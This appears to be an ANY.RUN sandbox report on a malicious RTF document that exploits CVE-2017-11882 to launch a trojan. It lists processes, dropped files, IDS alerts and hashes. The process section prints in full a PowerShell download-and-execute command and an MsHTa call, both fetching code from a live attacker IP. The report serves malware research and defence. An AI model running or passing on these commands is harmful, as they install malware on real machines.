File name:

dfaa7b046e725050954268f9414c2043.doc

Full analysis: https://app.any.run/tasks/99939aeb-86f7-421b-8019-3aec66541ff4
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: October 14, 2019, 16:03:01
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
generated-doc
exploit
cve-2017-11882
trojan
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

DFAA7B046E725050954268F9414C2043

SHA1:

BC3D0B98DAD303DED1483265B688638A3B324CE5

SHA256:

D047F7238660281370EDC72C4BFE05E2407C110723331DAC25BAB9CDAB795E62

SSDEEP:

768:qxrBqbeW6HHkXzD7p2og7PPPPPhPPPPPgPPPPP6jxzoR8oVojrc9Yu:qqbGPoWPcKu

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2728)

    • Application was dropped or rewritten from another process

      • shjx.exe (PID: 1292)

    • Loads dropped or rewritten executable

      • shjx.exe (PID: 1292)

    • Runs app for hidden code execution

      • shjx.exe (PID: 1292)

  • SUSPICIOUS

    • PowerShell script executed

      • powershell.exe (PID: 1796)

    • Connects to unusual port

      • MsHTa.exe (PID: 3912)
      • powershell.exe (PID: 1796)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EQNEDT32.EXE (PID: 2728)

    • Executed via WMI

      • powershell.exe (PID: 1796)

    • Executed via COM

      • EQNEDT32.EXE (PID: 2728)

    • Creates files in the user directory

      • powershell.exe (PID: 1796)
      • shjx.exe (PID: 1292)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1796)
      • shjx.exe (PID: 1292)

    • Starts CMD.EXE for commands execution

      • shjx.exe (PID: 1292)

  • INFO

    • Reads internet explorer settings

      • MsHTa.exe (PID: 3912)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 592)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 592)

    • Application was crashed

      • EQNEDT32.EXE (PID: 2728)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

Author: FireSecIT
LastModifiedBy: FireSecIT
CreateDate: 2019:10:07 21:04:00
ModifyDate: 2019:10:07 21:04:00
RevisionNumber: 1
TotalEditTime: -
Pages: 1
Words: -
Characters: -
CharactersWithSpaces: -
InternalVersionNumber: 95
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
6
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs eqnedt32.exe mshta.exe powershell.exe shjx.exe cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
592"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\dfaa7b046e725050954268f9414c2043.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
1292"C:\Users\Public\shjx.exe"C:\Users\Public\shjx.exe
powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\public\shjx.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
1772"C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe—shjx.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
1796powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://185.161.209.47:1010/get'));C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2728"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3912MsHTa http://185.161.209.47:1010/hta &AAAAAA CC:\Windows\system32\MsHTa.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
Total events
1 923
Read events
1 144
Write events
655
Delete events
124

Modification events

(PID) Process:(592) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:j!;
Value:
6A213B0050020000010000000000000000000000
(PID) Process:(592) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(592) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(592) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(592) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(592) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(592) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(592) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(592) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(592) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1330511934
Executable files
8
Suspicious files
3
Text files
12
Unknown types
4

Dropped files

PID
Process
Filename
Type
592WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA94A.tmp.cvr —
MD5:—
SHA256:—
1796powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SXFUQLA09LRJVBWY1YLR.temp —
MD5:—
SHA256:—
1292shjx.exeC:\Users\admin\AppData\Roaming\USER\doinstall\strFormId\logo\stlmaps.rgstext
MD5:—
SHA256:—
1796powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
3912MsHTa.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\hta[1]html
MD5:—
SHA256:—
1292shjx.exeC:\Users\admin\AppData\Local\Temp\namespace\pnm2ppa-ppa-networkingtext
MD5:—
SHA256:—
1796powershell.exeC:\Users\Public\shjx.exeexecutable
MD5:—
SHA256:—
1292shjx.exeC:\Users\admin\AppData\Roaming\USER\doinstall\strFormId\logo\accctrl3.gifimage
MD5:—
SHA256:—
1292shjx.exeC:\Users\admin\AppData\Roaming\credits\Database-Download.pngimage
MD5:—
SHA256:—
1292shjx.exeC:\Users\admin\AppData\Roaming\USER\doinstall\strFormId\logo\formdesign.xmlxml
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
0
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1796
powershell.exe
GET
200
185.161.209.47:1010
http://185.161.209.47:1010/get
NL
text
516 Kb
malicious
3912
MsHTa.exe
GET
200
185.161.209.47:1010
http://185.161.209.47:1010/hta
NL
html
2.44 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3912
MsHTa.exe
185.161.209.47:1010
—
Serverius Holding B.V.
NL
malicious
1796
powershell.exe
185.161.209.47:1010
—
Serverius Holding B.V.
NL
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
3912
MsHTa.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
1796
powershell.exe
A Network Trojan was detected
ET TROJAN Windows executable base64 encoded
1796
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Script/Oneeva.A!ml
1796
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable base64 Payload
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
dfaa7b046e725050954268f9414c2043.doc